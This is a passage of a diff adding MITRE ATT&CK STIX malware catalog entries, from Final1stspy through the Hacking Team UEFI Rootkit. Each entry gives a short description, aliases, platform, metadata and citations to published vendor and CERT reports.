"https://attack.mitre.org/software/S0355" + }, + { + "source_name": "Final1stspy", + "description": "(Citation: Unit 42 Nokki Oct 2018)" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-31T00:23:06.022Z", + "type": "malware", + "created": "2019-01-31T00:23:06.022Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Final1stspy", + "x_mitre_aliases": [ + "Final1stspy" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)", + "id": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "external_references": [ + { + "external_id": "S0143", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0143" + }, + { + "source_name": "Flame", + "description": "(Citation: Kaspersky Flame)" + }, + { + "source_name": "Flamer", + "description": "(Citation: Kaspersky Flame) (Citation: Symantec Beetlejuice)" + }, + { + "source_name": "sKyWIper", + "description": "(Citation: Kaspersky Flame) (Citation: Crysys Skywiper)" + }, + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Symantec Beetlejuice", + "description": "Symantec Security Response. (2012, May 31). Flamer: A Recipe for Bluetoothache. Retrieved February 25, 2017.", + "url": "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache" + }, + { + "source_name": "Crysys Skywiper", + "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.", + "url": "https://www.crysys.hu/publications/files/skywiper.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-06T14:35:53.759Z", + "type": "malware", + "created": "2017-05-31T21:33:21.973Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Flame", + "x_mitre_aliases": [ + "Flame", + "Flamer", + "sKyWIper" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)", + "id": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "external_references": [ + { + "external_id": "S0381", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0381" + }, + { + "source_name": "Proofpoint TA505 Mar 2018", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-05-30T17:23:30.432Z", + "type": "malware", + "created": "2019-05-28T19:07:29.816Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "FlawedAmmyy", + "x_mitre_aliases": [ + "FlawedAmmyy" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)", + "id": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "external_references": [ + { + "external_id": "S0383", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0383" + }, + { + "source_name": "Proofpoint TA505 Jan 2019", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-06-07T18:47:42.365Z", + "type": "malware", + "created": "2019-05-29T14:33:04.253Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "FlawedGrace", + "x_mitre_aliases": [ + "FlawedGrace" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).", + "id": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "external_references": [ + { + "external_id": "S0277", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0277" + }, + { + "source_name": "FruitFly", + "description": "(Citation: objsee mac malware 2017)." + }, + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FruitFly", + "x_mitre_aliases": [ + "FruitFly" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)", + "id": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2", + "external_references": [ + { + "external_id": "S0026", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0026" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:20.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "GLOOXMAIL", + "x_mitre_aliases": [ + "GLOOXMAIL", + "Trojan.GTALK" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)", + "id": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "external_references": [ + { + "external_id": "S0168", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0168" + }, + { + "source_name": "Gazer", + "description": "(Citation: ESET Gazer Aug 2017)" + }, + { + "source_name": "WhiteBear", + "description": "The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)" + }, + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Gazer", + "x_mitre_contributors": [ + "Bartosz Jerzman" + ], + "x_mitre_aliases": [ + "Gazer", + "WhiteBear" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)", + "id": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "external_references": [ + { + "external_id": "S0049", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0049" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:36.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "GeminiDuke", + "x_mitre_aliases": [ + "GeminiDuke" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)", + "id": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "external_references": [ + { + "external_id": "S0249", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0249" + }, + { + "source_name": "Gold Dragon", + "description": "(Citation: McAfee Gold Dragon)" + }, + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Gold Dragon", + "x_mitre_aliases": [ + "Gold Dragon" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)", + "id": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "external_references": [ + { + "external_id": "S0237", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0237" + }, + { + "source_name": "GravityRAT", + "description": "(Citation: Talos GravityRAT)" + }, + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:21:59.015Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "GravityRAT", + "x_mitre_aliases": [ + "GravityRAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)", + "id": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "external_references": [ + { + "external_id": "S0342", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0342" + }, + { + "source_name": "GreyEnergy", + "description": "(Citation: ESET GreyEnergy Oct 2018)" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-17T22:22:21.777Z", + "type": "malware", + "created": "2019-01-30T13:53:14.264Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "GreyEnergy", + "x_mitre_aliases": [ + "GreyEnergy" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)", + "id": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "external_references": [ + { + "external_id": "S0132", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0132" + }, + { + "source_name": "Cisco H1N1 Part 1", + "description": "Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-29T18:23:15.823Z", + "type": "malware", + "created": "2017-05-31T21:33:15.910Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "H1N1", + "x_mitre_aliases": [ + "H1N1" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)", + "id": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "external_references": [ + { + "external_id": "S0151", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0151" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HALFBAKED", + "x_mitre_aliases": [ + "HALFBAKED" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)", + "id": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "external_references": [ + { + "external_id": "S0037", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0037" + }, + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:29.203Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HAMMERTOSS", + "x_mitre_aliases": [ + "HAMMERTOSS", + "HammerDuke", + "NetDuke" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)", + "id": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "external_references": [ + { + "external_id": "S0214", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0214" + }, + { + "source_name": "HAPPYWORK", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HAPPYWORK", + "x_mitre_aliases": [ + "HAPPYWORK" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)", + "id": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "external_references": [ + { + "external_id": "S0246", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0246" + }, + { + "source_name": "HARDRAIN", + "description": "(Citation: US-CERT HARDRAIN March 2018)" + }, + { + "source_name": "US-CERT HARDRAIN March 2018", + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HARDRAIN", + "x_mitre_aliases": [ + "HARDRAIN" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)", + "id": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "external_references": [ + { + "external_id": "S0391", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0391" + }, + { + "source_name": "HAWKBALL", + "description": "(Citation: FireEye HAWKBALL Jun 2019)" + }, + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-07-06T21:31:25.373Z", + "type": "malware", + "created": "2019-06-20T14:52:45.057Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "HAWKBALL", + "x_mitre_aliases": [ + "HAWKBALL" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)", + "id": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "external_references": [ + { + "external_id": "S0061", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0061" + }, + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-25T02:33:53.419Z", + "type": "malware", + "created": "2017-05-31T21:32:40.801Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HDoor", + "x_mitre_aliases": [ + "HDoor", + "Custom HDoor" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)", + "id": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4", + "external_references": [ + { + "external_id": "S0135", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0135" + }, + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "source_name": "Sekoia HideDRV Oct 2016", + "description": "Rascagn\u00e8res, P.. (2016, October 27). Rootkit analysis: Use case on HideDRV. Retrieved March 9, 2017.", + "url": "http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:17.272Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HIDEDRV", + "x_mitre_aliases": [ + "HIDEDRV" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)", + "id": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035", + "external_references": [ + { + "external_id": "S0232", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0232" + }, + { + "source_name": "HOMEFRY", + "description": "(Citation: FireEye Periscope March 2018)" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-07T15:40:16.121Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HOMEFRY", + "x_mitre_aliases": [ + "HOMEFRY" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)", + "id": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "external_references": [ + { + "external_id": "S0376", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0376" + }, + { + "source_name": "HOPLIGHT", + "description": "(Citation: US-CERT HOPLIGHT Apr 2019)" + }, + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-22T19:41:53.168Z", + "type": "malware", + "created": "2019-04-19T15:30:36.593Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HOPLIGHT", + "x_mitre_aliases": [ + "HOPLIGHT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)", + "id": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "external_references": [ + { + "external_id": "S0070", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0070" + }, + { + "source_name": "HttpDump", + "description": "(Citation: ThreatConnect Anthem)" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "ThreatConnect Anthem", + "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + }, + { + "source_name": "ThreatStream Evasion Analysis", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:46.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HTTPBrowser", + "x_mitre_aliases": [ + "HTTPBrowser", + "Token Control", + "HttpDump" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)", + "id": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8", + "external_references": [ + { + "external_id": "S0047", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0047" + }, + { + "source_name": "TrendMicro Hacking Team UEFI", + "description": "Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" + } + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:35.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Hacking Team UEFI Rootkit", + "x_mitre_aliases": [ + "Hacking Team UEFI Rootkit" + ], + "labels": [ + "malware" + ] + }, + { 